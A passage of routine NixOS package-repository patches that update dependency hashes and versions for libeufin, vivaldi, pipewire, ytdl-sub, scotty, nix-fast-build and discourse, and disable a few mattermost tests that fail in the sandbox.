+   "jar": "sha256-01Y1Kw5VW+Emqtypvjm7d0kx4ypQCO3QYAmNu0fVfp4=",
+   "module": "sha256-3NfGKkJ9279ezgt5jcEqD41VcSN/UScFEKUHIotjM3k=",
+   "pom": "sha256-b+eWaxTo7fC/rO+FfIiUpr9EtmFsbwK/7UoJMU7+0Zw="
   },
-  "org/jetbrains/kotlinx#kotlinx-serialization-core/1.5.1/all": {
-   "jar": "sha256-C5rBEssP4lEwdtw3odxMPFcR0GyqR8cwSlZohT850BI="
+  "org/jetbrains/kotlinx#kotlinx-io-core-jvm/0.6.0": {
+   "module": "sha256-tZuXjCxEJJpnRkGmlONaKs7LqBLah9NlpRZzQqjKU0c=",
+   "pom": "sha256-3DNkYsj1BEkGHNRdXLHI9oC+VEGqgQ6UQR/4GQmdT2s="
   },
-  "org/jetbrains/kotlinx#kotlinx-serialization-json-jvm/1.5.1": {
-   "jar": "sha256-b8ELBW4QBpY6uyufw5Pc1OOEJTWLbxYoXo9j00Kf/SE=",
-   "module": "sha256-/6eWooex6Ya7mse4HBfrqNysMNUiQMM9XlicF1uggPk=",
-   "pom": "sha256-90mH/1adthY7Yd3GLVXjjn8JFh+ejxXyjbRSGWtzLTI="
+  "org/jetbrains/kotlinx#kotlinx-io-core-jvm/0.7.0": {
+   "jar": "sha256-bt7cm+TYeK6oDH3WCfkb/Ef809NsyR/Q8/Mo+9ZlbI8=",
+   "module": "sha256-dDDspoloWorXVm2MgIIUpylQsdbwNjQd+MTYKah3Bsg=",
+   "pom": "sha256-I4nhfLeFp854BZ7v7yv5fpGCbCe4PMzhkbTkLtlfiBo="
   },
-  "org/jetbrains/kotlinx#kotlinx-serialization-json/1.5.1": {
-   "module": "sha256-Sc1MAGoAGNtElIjEAO86IlejPn3w/FPCGSzo7RULwj0=",
-   "pom": "sha256-MYDroHos5F+dV+t2/qZM/jO/mU26eDHEiuo1aZfgldI="
+  "org/jetbrains/kotlinx#kotlinx-io-core/0.6.0": {
+   "module": "sha256-FIX7aljyQWnRr3PEFDAiUKx4u0axpD4Csa4hILKhJPA=",
+   "pom": "sha256-QIZ+EY9KW7uz291WZ3DY8Yu07w02MtyE+WyZ+2vD6oE="
   },
-  "org/jetbrains/kotlinx#kotlinx-serialization-json/1.5.1/all": {
-   "jar": "sha256-9/FQf3Nui2ZSCe//t7VWlECFBTsLybno3zDV0jK3ZlY="
+  "org/jetbrains/kotlinx#kotlinx-io-core/0.7.0": {
+   "jar": "sha256-4QKwiGCeeovbzCd6VH5GhOwER+QIk9coWDH769Gyfug=",
+   "module": "sha256-gTKXY+sZquO3OGcb7DFrkESEkcO/Unj24Q6kxwKS4iQ=",
+   "pom": "sha256-fu4E9DS9OmrRjhQFT0SH9DvKyQwDabBFA7FltzG+3Mo="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-bom/1.6.0": {
+   "pom": "sha256-bKZIdTuB5O4L9/N2wGNreMr6o7BxbBykXM0AzZSXdHc="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-bom/1.8.1": {
+   "pom": "sha256-APNVWudiSFHGfbEsMIvJziauMnzw1yR2akAeW6AGCMc="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-core-jvm/1.6.0": {
+   "jar": "sha256-7DUSjE+5BE6Zu88H8F7yVDv6bUIDDXqtq66s/7FucsU=",
+   "module": "sha256-uVDCZfLD4WO/1kdETbSsGqrAXX56jSrbBoRHs0wxxsg=",
+   "pom": "sha256-0VZ6zJLhdIK8ATwZA1EbtbG/36GUKWLXAia+3FK3xII="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-core-jvm/1.8.1": {
+   "jar": "sha256-NWW21NeJv3BoPEVWaUQof8HY3HXCPZi9h9AQWcx28rM=",
+   "module": "sha256-++GdWIrX1fZGZmaCA0/0Tglo0iBx/mzPn5ngPHpe+lc=",
+   "pom": "sha256-RGZV6NQ4KL+7OHzp0VGpNxowkrSLkJ6AYGtT/FiXnig="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-core/1.6.0": {
+   "module": "sha256-0lw7Wm4k3nKasF1JmDxg7CmY290q5O/iS2JV2MqC+nc=",
+   "pom": "sha256-O0Ni9LSZwS3/XUzOriTCaLBFe1Scha56Dyetslzgs3M="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-core/1.8.1": {
+   "jar": "sha256-2ZhZ/4zEmudp+Uivgj9GlHs+Vhf+wmg/3pUdTQ4Kd0k=",
+   "module": "sha256-eL3oMFSUrxs445ZrUleskINAFkk/i60hm4iGx/vbJdU=",
+   "pom": "sha256-Rz8Ko+Sheqt4YNykkNxC6rthJPHSlT5qmVoIcX5QxxQ="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-json-io-jvm/1.8.1": {
+   "jar": "sha256-q17I6kiBUZfEan359BimJ5H+kc2lAjuUHOTehy2BDME=",
+   "module": "sha256-vz47hoSxN/py0pZVZ1/c4xRGewh5JikYMm2vedE+Afo=",
+   "pom": "sha256-27ETuPvVUEVZjiTmATIGrrzKkSr+Vjnr2VJjC579kjw="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-json-io/1.8.1": {
+   "jar": "sha256-v2dav1Fi3Xc9TltbbSQ9Lpg2GtQRl1SRmQSXA+qnzN0=",
+   "module": "sha256-WTtZ8otvvbjsNRD4+ZQksTTlv8Qe2GS82LAiDv4APnM=",
+   "pom": "sha256-2e2KSEKd687/Z05u1OdgPR1K5Ao3lWT9BlPQ3V9gJb8="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-json-jvm/1.6.0": {
+   "jar": "sha256-H3K8q5I1ZCWR+1qrqG4UMXAe8A7/pfQFTTWEPceVEXY=",
+   "module": "sha256-OG9a4BhhX0cAIEcQ0c8Jh4MncnzrATBDjg9WTwit1MI=",
+   "pom": "sha256-CKbxhALfOeKfAj/f1VrfaHHpXLJkcpv3ikkciSUavDw="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-json-jvm/1.8.1": {
+   "jar": "sha256-h2nlZHVX43AJGcMtUI9cXa1TxdgjTNEIRjVPvP8UqiQ=",
+   "module": "sha256-uZHLSTQAwdlgut+oYhcVjGN+XsqIgbIM0BJbtOz8+DE=",
+   "pom": "sha256-1mXWtB/gWPZmpvOGrS5JzBAe+P0u7+/vy8ER6R7oJDY="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-json/1.6.0": {
+   "module": "sha256-IagQNSE8nNiADHbXYFfPRaqJxp2jsSkqn4zQf+DaLQc=",
+   "pom": "sha256-6hSUk17ZJHsWf8DXD/i/xJurjzLNLMahWnpXPNTXBgU="
+  },
+  "org/jetbrains/kotlinx#kotlinx-serialization-json/1.8.1": {
+   "jar": "sha256-WK3zNYoPmd2NZqVQ++GQZNOV4NX38eRlFc00cKVvu7A=",
+   "module": "sha256-f33wBUM932BPUqq9avsh65YJMZfLS90Hk8SEydPEtnU=",
+   "pom": "sha256-x3AMmcg94CtGVBo9fktps4h0m3wPV9zrRU0UPyzYens="
+  },
+  "org/jline#jline-parent/3.29.0": {
+   "pom": "sha256-eSLv09hwp9euA7GWwwDjXF3gIo5ZpbASrqZB4215ko4="
+  },
+  "org/jline#jline/3.29.0": {
+   "jar": "sha256-mcIqlmg4ukKR5ppd1Wia/QSVAOuTYrI7qs5zH5ycl90=",
+   "pom": "sha256-3kA5CpgAeh+lw1PW1PYTKA4JXTA4VY7LXnwjHb0SanA="
   },
   "org/jsoup#jsoup/1.16.1": {
    "jar": "sha256-HxFXJlQN33GVjBS8UX6/xJz0gekc2Rew+s6E8BJy6QE=",
    "pom": "sha256-bMUH9jBTbyBb3iwbOMPFkHUR3i17GkRL6dY41GFPJDw="
   },
-  "org/junit#junit-bom/5.10.0": {
-   "module": "sha256-6z7mEnYIAQaUqJgFbnQH0RcpYAOrpfXbgB30MLmIf88=",
-   "pom": "sha256-4AbdiJT5/Ht1/DK7Ev5e2L5lZn1bRU+Z4uC4xbuNMLM="
-  },
   "org/junit#junit-bom/5.10.1": {
    "module": "sha256-IbCvz//i7LN3D16wCuehn+rulOdx+jkYFzhQ2ueAZ7c=",
    "pom": "sha256-IcSwKG9LIAaVd/9LIJeKhcEArIpGtvHIZy+6qzN7w/I="
@@ -1266,71 +1316,118 @@
    "module": "sha256-qnlAydaDEuOdiaZShaqa9F8U2PQ02FDujZPbalbRZ7s=",
    "pom": "sha256-EJN9RMQlmEy4c5Il00cS4aMUVkHKk6w/fvGG+iX2urw="
   },
+  "org/junit#junit-bom/5.11.0": {
+   "module": "sha256-9+2+Z/IgQnCMQQq8VHQI5cR29An1ViNqEXkiEnSi7S0=",
+   "pom": "sha256-5nRZ1IgkJKxjdPQNscj0ouiJRrNAugcsgL6TKivkZE0="
+  },
+  "org/junit#junit-bom/5.12.1": {
+   "module": "sha256-TdKqnplFecYwRX35lbkZsDVFYzZGNy6q3R0WXQv1jBo=",
+   "pom": "sha256-fIJrxyvt3IF9rZJjAn+QEqD1Wjd9ON+JxCkyolAcK/A="
+  },
+  "org/junit/jupiter#junit-jupiter-api/5.12.1": {
+   "jar": "sha256-pAHgtgNz7fffCWLCXrMhPkUaR3h5LTOnaHbDuKW7IJs=",
+   "module": "sha256-iv9r5FYIFhBl7mO4QDyfKTE6HdnzkfP5eIVlpiMxGXY=",
+   "pom": "sha256-zqRvFdpTNT8vtSYZyvbcAH7CqE8O2vQMwSV/jjzvd9w="
+  },
+  "org/junit/jupiter#junit-jupiter-engine/5.12.1": {
+   "jar": "sha256-Dn8tvrkb+usNTLM6SHNRuvDlpu1ykGFU2P2ZddMpxZI=",
+   "module": "sha256-tvSQZ/FmJdFN7gmT8weKTGYeF8kOV0yf0SoWRur98tA=",
+   "pom": "sha256-GCeXDlNI10sY6757guDLGdxOj5np1NmEyyZJTVcTPao="
+  },
+  "org/junit/jupiter#junit-jupiter-params/5.12.1": {
+   "jar": "sha256-WVFwaZnjWVHU3w7KbgkdNhn2WanBCFjy9aPOGRy1dnM=",
+   "module": "sha256-KYwQtU+G3dtCeclfSYnRW+DV5QDEU+yTXv1Wd8v6Guk=",
+   "pom": "sha256-dHNtHnFnHQDeQFyxnD2GhOHFl9BwfeJmH7gHGyeEJ8M="
+  },
+  "org/junit/jupiter#junit-jupiter/5.12.1": {
+   "jar": "sha256-IoqUye50PVW/6gm1djBoHqeyCmYaR3RH9cH2DcEtnjo=",
+   "module": "sha256-OY71Q1eCyqfceKDRVRBpP6Xt7w/HP5PFVOZ3FxtCIj4=",
+   "pom": "sha256-m42YgPjFl2/JUEKEnzsSwRWdom5UUkMSY3edCx54yKQ="
+  },
+  "org/junit/platform#junit-platform-commons/1.12.1": {
+   "jar": "sha256-wxYWNYGqpWSSgBIrEuo2/k6cICoaImd1P+p8nh3wVes=",
+   "module": "sha256-ypN54aC/xbLOQ8dOh0SxT7fEkhPiISv1pH7QIv3bMM4=",
+   "pom": "sha256-tzKBEektR47QlWxjCgwkZm52gbUTgWj6FchbUJRqcAM="
+  },
+  "org/junit/platform#junit-platform-engine/1.12.1": {
+   "jar": "sha256-f+3/k/2SrsfSn8YNwB+gJyRrNrgIhCOl78SUnl9q/6Q=",
+   "module": "sha256-Vb3CX4rhKh3yQQisSArgiAKMiOMV+ou01HbU4RXyrGE=",
+   "pom": "sha256-TANohTegh/d9NLNNjczZO5NhcWu5u/S0ucbYMXkBS5w="
+  },
   "org/mockito#mockito-bom/4.11.0": {
    "pom": "sha256-2FMadGyYj39o7V8YjN6pRQBq6pk+xd+eUk4NJ9YUkdo="
   },
-  "org/mockito#mockito-bom/5.5.0": {
-   "pom": "sha256-U8DSPp0xhzL7IFrt+rKcB/srOtUMd80ep1InLiCjjqc="
+  "org/mockito#mockito-bom/5.13.0": {
+   "pom": "sha256-M7Wzq5+zSPUKHI9BRG1NKpn46wqk88Og13Vifqp/aNE="
   },
   "org/mockito#mockito-bom/5.7.0": {
    "pom": "sha256-dlcAW89JAw1nzF1S3rxm3xj0jVTbs+1GZ/1yWwZ5+6A="
   },
+  "org/opentest4j#opentest4j/1.3.0": {
+   "jar": "sha256-SOLfY2yrZWPO1k3N/4q7I1VifLI27wvzdZhoLd90Lxs=",
+   "module": "sha256-SL8dbItdyU90ZSvReQD2VN63FDUCSM9ej8onuQkMjg0=",
+   "pom": "sha256-m/fP/EEPPoNywlIleN+cpW2dQ72TfjCUhwbCMqlDs1U="
+  },
   "org/ow2#ow2/1.5.1": {
    "pom": "sha256-Mh3bt+5v5PU96mtM1tt0FU1r+kI5HB92OzYbn0hazwU="
   },
-  "org/ow2/asm#asm-commons/9.7": {
-   "jar": "sha256-OJvCR5WOBJ/JoECNOYySxtNwwYA1EgOV1Muh2dkwS3o=",
-   "pom": "sha256-Ws7j7nJS7ZC4B0x1XQInh0malfr/+YrEpoUQfE2kCbQ="
+  "org/ow2/asm#asm-commons/9.7.1": {
+   "jar": "sha256-mlebVNKSrZvhcdQxP9RznGNVksK1rDpFm70QSc3exqA=",
+   "pom": "sha256-C/HTHaDJ+djtwvJ9u/279z8acVtyzS+ijz8ZWZTXStE="
   },
-  "org/ow2/asm#asm-tree/9.7": {
-   "jar": "sha256-YvSzvENgRcGstcO6LY7FVuwzaQk9f10Gx0frBLVtUrE=",
-   "pom": "sha256-o06h4+QSjAEDjbQ8aXbojHec9a+EsFBdombf5pZWaOw="
+  "org/ow2/asm#asm-tree/9.7.1": {
+   "jar": "sha256-mSmIH1nra4QOhtVFcMd7Wc5yHRBObf16QJeJkcLTtB8=",
+   "pom": "sha256-E7kF9l5/1DynZ09Azao3Z5ukhYxsnZ+48Xp6/ZuqvJ4="
   },
-  "org/ow2/asm#asm/9.7": {
-   "jar": "sha256-rfRtXjSUC98Ujs3Sap7o7qlElqcgNP9xQQZrPupcTp0=",
-   "pom": "sha256-3gARXx2E86Cy7jpLb2GS0Gb4bRhdZ7nRUi8sgP6sXwA="
+  "org/ow2/asm#asm/9.7.1": {
+   "jar": "sha256-jK3UOsXrbQneBfrsyji5F6BAu5E5x+3rTMgcdAtxMoE=",
+   "pom": "sha256-cimwOzCnPukQCActnkVppR2FR/roxQ9SeEGu9MGwuqg="
   },
-  "org/postgresql#postgresql/42.7.4": {
-   "jar": "sha256-GIl2ch6tjoYn622DidUA3MwMm+vYhSaKMEcYAnSmAx4=",
-   "pom": "sha256-3fwfCT5VJ6+bPQWhG+sJtGYfLCsv8zdkmnNp7qDMcd4="
+  "org/postgresql#postgresql/42.7.5": {
+   "jar": "sha256-aQILO9IJhFQ+gXOT8ubAGokO8uN6d90R1thQgYHQeas=",
+   "pom": "sha256-FB6pP8GF3rFdKPz+P+qAivQBic9pEtaPMW6GjXzq/kg="
   },
   "org/slf4j#slf4j-api/1.7.36": {
    "jar": "sha256-0+9XXj5JeWeNwBvx3M5RAhSTtNEft/G+itmCh3wWocA=",
    "pom": "sha256-+wRqnCKUN5KLsRwtJ8i113PriiXmDL0lPZhSEN7cJoQ="
   },
-  "org/slf4j#slf4j-api/2.0.13": {
-   "jar": "sha256-58KkjoUVuh9J+mN9V7Ti9ZCz9b2XQHrGmcOqXvsSBKk=",
-   "pom": "sha256-UYBc/agMoqyCBBuQbZhl056YI+NYoO62I3nf7UdcFXE="
+  "org/slf4j#slf4j-api/2.0.16": {
+   "jar": "sha256-oSV43eG6AL2bgW04iguHmSjQC6s8g8JA9wE79BlsV5o=",
+   "pom": "sha256-saAPWxxNvmK4BdZdI5Eab3cGOInXyx6G/oOJ1hkEc/c="
   },
-  "org/slf4j#slf4j-bom/2.0.13": {
-   "pom": "sha256-evJy16c44rmHY3kf/diWBA6L6ymKiP1gYhRAeXbNMQo="
+  "org/slf4j#slf4j-api/2.0.17": {
+   "jar": "sha256-e3UdlSBhlU1av+1xgcH2RdM2CRtnmJFZHWMynGIuuDI=",
+   "pom": "sha256-FQxAKH987NwhuTgMqsmOkoxPM8Aj22s0jfHFrJdwJr8="
+  },
+  "org/slf4j#slf4j-bom/2.0.16": {
+   "pom": "sha256-BWYEjsglzfKHWGIK9k2eFK44qc2HSN1vr6bfSkGUwnk="
+  },
+  "org/slf4j#slf4j-bom/2.0.17": {
+   "pom": "sha256-940ntkK0uIbrg5/BArXNn+fzDzdZn/5oGFvk4WCQMek="
   },
   "org/slf4j#slf4j-parent/1.7.36": {
    "pom": "sha256-uziNN/vN083mTDzt4hg4aTIY3EUfBAQMXfNgp47X6BI="
   },
-  "org/slf4j#slf4j-parent/2.0.13": {
-   "pom": "sha256-Z/rP1R8Gk1zqhWFaBHddcNgL/QOtDzdnA1H5IO0LtYo="
+  "org/slf4j#slf4j-parent/2.0.16": {
+   "pom": "sha256-CaC0zIFNcnRhbJsW1MD9mq8ezIEzNN5RMeVHJxsZguU="
   },
-  "org/sonatype/oss#oss-parent/7": {
-   "pom": "sha256-tR+IZ8kranIkmVV/w6H96ne9+e9XRyL+kM5DailVlFQ="
+  "org/slf4j#slf4j-parent/2.0.17": {
+   "pom": "sha256-lc1x6FLf2ykSbli3uTnVfsKy5gJDkYUuC1Rd7ggrvzs="
   },
-  "org/sonatype/oss#oss-parent/9": {
-   "pom": "sha256-+0AmX5glSCEv+C42LllzKyGH7G8NgBgohcFO8fmCgno="
+  "org/springframework#spring-framework-bom/5.3.39": {
+   "module": "sha256-+ItA4qUDM7QLQvGB7uJyt17HXdhmbLFFvZCxW5fhg+M=",
+   "pom": "sha256-9tSBCT51dny6Gsfh2zj49pLL4+OHRGkzcada6yHGFIs="
   },
-  "org/springframework#spring-framework-bom/5.3.32": {
-   "module": "sha256-R6cJH2l8pjEYXtQY8Morhu7wyCqhbRdx3exLLDu3s70=",
-   "pom": "sha256-glr3ES49kupDa7DfeMGVFIhfXAFtD8YMiyTUdjoBWhA="
+  "org/vafer#jdependency/2.12": {
+   "jar": "sha256-xuxNA/nwT7ZEjTavQ6HMBpoh7LXocBM90Y/tT02x3mg=",
+   "pom": "sha256-LY6Zq9RS9eZCxtK74xACuSh5naw6CeA+PknyE3ozt+s="
   },
-  "org/vafer#jdependency/2.10": {
-   "jar": "sha256-Hc2DVauevO1odxW/ElLrKu5dDnRJeiAU/TOHz86N+F8=",
-   "pom": "sha256-q1PyWatfZIPT27AjVGngeNSiLP2JB3GrBPh9s6W0YGc="
+  "uk/org/webcompere#system-stubs-core/2.1.8": {
+   "jar": "sha256-nCcyLPxwQ8dThK1EQAewiAyhj+cjHWm/ppYWvHc8r+E=",
+   "pom": "sha256-xrz30a6C5STH6pAsty9FpYyh4xlgattd+goxjhq1/HE="
   },
-  "uk/org/webcompere#system-stubs-core/2.1.6": {
-   "jar": "sha256-3fwxmZiGbCWONnTTsanIfnZ049mwLaofTXUmATywhFM=",
-   "pom": "sha256-SnIy8ZqLYl1GupI24+3d7Zb2SFUF17QtTSdxQ0hzcic="
-  },
-  "uk/org/webcompere#system-stubs-parent/2.1.6": {
-   "pom": "sha256-pWWDCYZXTi4/RKbyKrejtMCNeSczAWTYtyRbjbmZVmQ="
+  "uk/org/webcompere#system-stubs-parent/2.1.8": {
+   "pom": "sha256-1xIK3nu0LjTx62S/5oAa+JhZvhIxrqsTs/fsgMvwcRM="
   }
  }
 }
diff --git a/pkgs/by-name/li/libeufin/package.nix b/pkgs/by-name/li/libeufin/package.nix
index 71717721a894..b0ef18dea909 100644
--- a/pkgs/by-name/li/libeufin/package.nix
+++ b/pkgs/by-name/li/libeufin/package.nix
@@ -16,19 +16,19 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "libeufin";
-  version = "0.13.0";
+  version = "1.0.2";
 
   src = fetchgit {
     url = "https://git.taler.net/libeufin.git/";
-    rev = "v${finalAttrs.version}";
-    hash = "sha256-whGcFZYuyeFfhu+mIi7oUNJRXjaVGuL67sfUrHF85Fs=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-ZjZo0oCsrnc413OY7ElU95Vto9Smp6fuPI3RzJzC3Zk=";
     fetchSubmodules = true;
     leaveDotGit = true; # required for correct submodule fetching
-    # Delete .git folder for reproducibility (otherwise, the hash changes unexpectedly after fetching submodules)
     # Save the HEAD short commit hash in a file so it can be retrieved later for versioning.
+    # Delete .git folder for reproducibility (otherwise, the hash changes unexpectedly after fetching submodules)
     postFetch = ''
       pushd $out
-      git rev-parse --short HEAD > ./common/src/main/resources/HEAD.txt
+      git rev-parse HEAD > ./common/src/main/resources/HEAD.txt
       rm -rf .git
       popd
     '';
@@ -116,6 +116,7 @@ stdenv.mkDerivation (finalAttrs: {
     description = "Integration and sandbox testing for FinTech APIs and data formats";
     license = lib.licenses.agpl3Plus;
     maintainers = with lib.maintainers; [ atemu ];
+    teams = with lib.teams; [ ngi ];
     mainProgram = "libeufin-bank";
     sourceProvenance = with lib.sourceTypes; [
       fromSource

From aa63b3d10b6400ada2fb2247952c17e6675ff9ff Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 20 May 2025 23:13:32 +0000
Subject: [PATCH 0226/4511] vivaldi: 7.3.3635.12 -> 7.4.3684.38

(cherry picked from commit 9c65d110cb54318398e8cb40ac322e943578ecb0)
---
 pkgs/applications/networking/browsers/vivaldi/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/networking/browsers/vivaldi/default.nix b/pkgs/applications/networking/browsers/vivaldi/default.nix
index 75b44f6c91bd..ff6fe11e6d50 100644
--- a/pkgs/applications/networking/browsers/vivaldi/default.nix
+++ b/pkgs/applications/networking/browsers/vivaldi/default.nix
@@ -71,7 +71,7 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "vivaldi";
-  version = "7.3.3635.12";
+  version = "7.4.3684.38";
 
   suffix =
     {
@@ -84,8 +84,8 @@ stdenv.mkDerivation rec {
     url = "https://downloads.vivaldi.com/${branch}/vivaldi-${branch}_${version}-1_${suffix}.deb";
     hash =
       {
-        aarch64-linux = "sha256-Gplg0QD7DcibaOv1Q8RUnefACZdNnM8yKYYiP1dpY58=";
-        x86_64-linux = "sha256-qcV4n9/nAbb0Gw8azorDSjpjy4cXe2XlR94WwuwUEyc=";
+        aarch64-linux = "sha256-SmmmEFSzAGgm9eKeTKpUFuW/UVNyXw8x8c1uRp69fbw=";
+        x86_64-linux = "sha256-h/ZcJq51gsb03V5KFlPOE9H0NonYxJNeWVg2UCQEBPs=";
       }
       .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
   };

From 846b2babe7db8642585366d26b7240d179ae267b Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 29 May 2025 12:04:58 +0300
Subject: [PATCH 0227/4511] pipewire: 1.4.3 -> 1.4.4

Diff: https://gitlab.freedesktop.org/pipewire/pipewire/-/compare/1.4.3...1.4.4

Changelog: https://gitlab.freedesktop.org/pipewire/pipewire/-/releases/1.4.4
(cherry picked from commit 964792e46c76b09666cadba8b293d3c561d16914)
---
 pkgs/development/libraries/pipewire/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/pipewire/default.nix b/pkgs/development/libraries/pipewire/default.nix
index 68a2bd829df4..7b582819b565 100644
--- a/pkgs/development/libraries/pipewire/default.nix
+++ b/pkgs/development/libraries/pipewire/default.nix
@@ -82,7 +82,7 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "pipewire";
-  version = "1.4.3";
+  version = "1.4.4";
 
   outputs = [
     "out"
@@ -98,7 +98,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "pipewire";
     repo = "pipewire";
     rev = finalAttrs.version;
-    sha256 = "sha256-0gvtWhfR0mMqaQ/VWivXWoGHJ4cq+iUPo7xPTaiE2Tw=";
+    sha256 = "sha256-ullr00XbYrjwAAkQ6tWRayoS3aFuQsbDpSv06pgBDSA=";
   };
 
   patches = [

From bd93f937184b738377feba91c870d0af7181a564 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Wed, 28 May 2025 01:08:37 -0700
Subject: [PATCH 0228/4511] mattermost: disable more tests

These appear broken in the sandbox.

(cherry picked from commit 6242132c4615d4424b49bd2fa31fa723303b8f32)
---
 pkgs/by-name/ma/mattermost/tests.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/ma/mattermost/tests.nix b/pkgs/by-name/ma/mattermost/tests.nix
index 84452edb54ba..e6918b8bff70 100644
--- a/pkgs/by-name/ma/mattermost/tests.nix
+++ b/pkgs/by-name/ma/mattermost/tests.nix
@@ -140,6 +140,10 @@ mattermost.overrideAttrs (
         "TestElasticSearchIndexerJobIsEnabled"
         "TestElasticSearchIndexerPending"
 
+        # Broken in the sandbox.
+        "TestVersion"
+        "TestRunServerNoSystemd"
+
         # Appear to be broken.
         "TestSessionStore/MySQL/SessionGetWithDeviceId"
         "TestSessionStore/MySQL/GetMobileSessionMetadata"

From b2dcd74506a83c342c6ebbb267a2cfa7c5971c4e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 29 May 2025 06:44:24 +0000
Subject: [PATCH 0229/4511] ytdl-sub: 2025.05.05 -> 2025.05.23

(cherry picked from commit 5f6c54ff78de91042adf53a3f18456372007c28b)
---
 pkgs/by-name/yt/ytdl-sub/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/ytdl-sub/package.nix b/pkgs/by-name/yt/ytdl-sub/package.nix
index 98abd0cd17e3..ab07b43ded8f 100644
--- a/pkgs/by-name/yt/ytdl-sub/package.nix
+++ b/pkgs/by-name/yt/ytdl-sub/package.nix
@@ -8,14 +8,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "ytdl-sub";
-  version = "2025.05.05";
+  version = "2025.05.23";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "jmbannon";
     repo = "ytdl-sub";
     tag = version;
-    hash = "sha256-zLYP3iGbTcWuffed7o5RuoYjlUvVFRt8FUOhL1vbW/U=";
+    hash = "sha256-296lizseyBJdpu80MnquPB1ldGgpAcey3iDwiaLqpOQ=";
   };
 
   postPatch = ''

From 2481f156ea943d1ec9331563cad39c93639ecd55 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 28 May 2025 11:27:24 +0000
Subject: [PATCH 0230/4511] scotty: 0.5.2 -> 0.6.0

(cherry picked from commit 5d0554192c4524fbf87ebdeb025c10cd21dd1e4a)
---
 pkgs/by-name/sc/scotty/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sc/scotty/package.nix b/pkgs/by-name/sc/scotty/package.nix
index 6d6990c7f09f..22cbaa18b126 100644
--- a/pkgs/by-name/sc/scotty/package.nix
+++ b/pkgs/by-name/sc/scotty/package.nix
@@ -9,13 +9,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "scotty";
-  version = "0.5.2";
+  version = "0.6.0";
 
   src = fetchFromSourcehut {
     owner = "~phw";
     repo = "scotty";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-3SIgsAdcG44dhEZnoE1FE0prI8aVKtkeYYsmwK+UvUI=";
+    hash = "sha256-VvBnTnW4ngJ0yPT2CV7t7HEUwJlBfWNE3coTHxGcAs4=";
   };
 
   # Otherwise checks fail with `panic: open /etc/protocols: operation not permitted` when sandboxing is enabled on Darwin
@@ -25,7 +25,7 @@ buildGoModule (finalAttrs: {
       --replace-fail '!os.IsNotExist(err)' '!os.IsNotExist(err) && !os.IsPermission(err)'
   '';
 
-  vendorHash = "sha256-9LkWoep4R8Mii34m5wkLCw6AAMP92I1lgQnHajgzae8=";
+  vendorHash = "sha256-5mDY3vlRzoqJleNukB8NcPaAcDLX/UNegUSBYFMzGGA=";
 
   env = {
     # *Some* locale is required to be set

From 6b4050589468fdd85c76dc48e23402df6bfa8a0b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 21 May 2025 13:46:39 +0000
Subject: [PATCH 0231/4511] lixPackageSets.lix_2_91.nix-fast-build: 1.1.0 ->
 1.2.0

(cherry picked from commit a2810c9a9b2049930f565ba7518652c371061712)
---
 pkgs/by-name/ni/nix-fast-build/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ni/nix-fast-build/package.nix b/pkgs/by-name/ni/nix-fast-build/package.nix
index 2c4e485d8d4b..0996d4a98b41 100644
--- a/pkgs/by-name/ni/nix-fast-build/package.nix
+++ b/pkgs/by-name/ni/nix-fast-build/package.nix
@@ -10,14 +10,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "nix-fast-build";
-  version = "1.1.0";
+  version = "1.2.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "Mic92";
     repo = "nix-fast-build";
     rev = "refs/tags/${version}";
-    hash = "sha256-HkaJeIFgxncLm8MC1BaWRTkge9b1/+mjPcbzXTRshoM=";
+    hash = "sha256-lOouOgusUU3x97wClX8+WdbzpneMiRTdCqDSxGc/RlU=";
   };
 
   build-system = [ python3Packages.setuptools ];

From 8d3e9ccf606ad164db7619922f741483b24144f7 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 28 May 2025 16:02:18 +0200
Subject: [PATCH 0232/4511] discourse: 3.4.3 -> 3.4.4

https://meta.discourse.org/t/3-4-4-bug-fix-and-ux-release/367301/1
(cherry picked from commit b26b82374f1ee090eb84275a55969ddc2cae41d1)
---
 pkgs/servers/web-apps/discourse/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

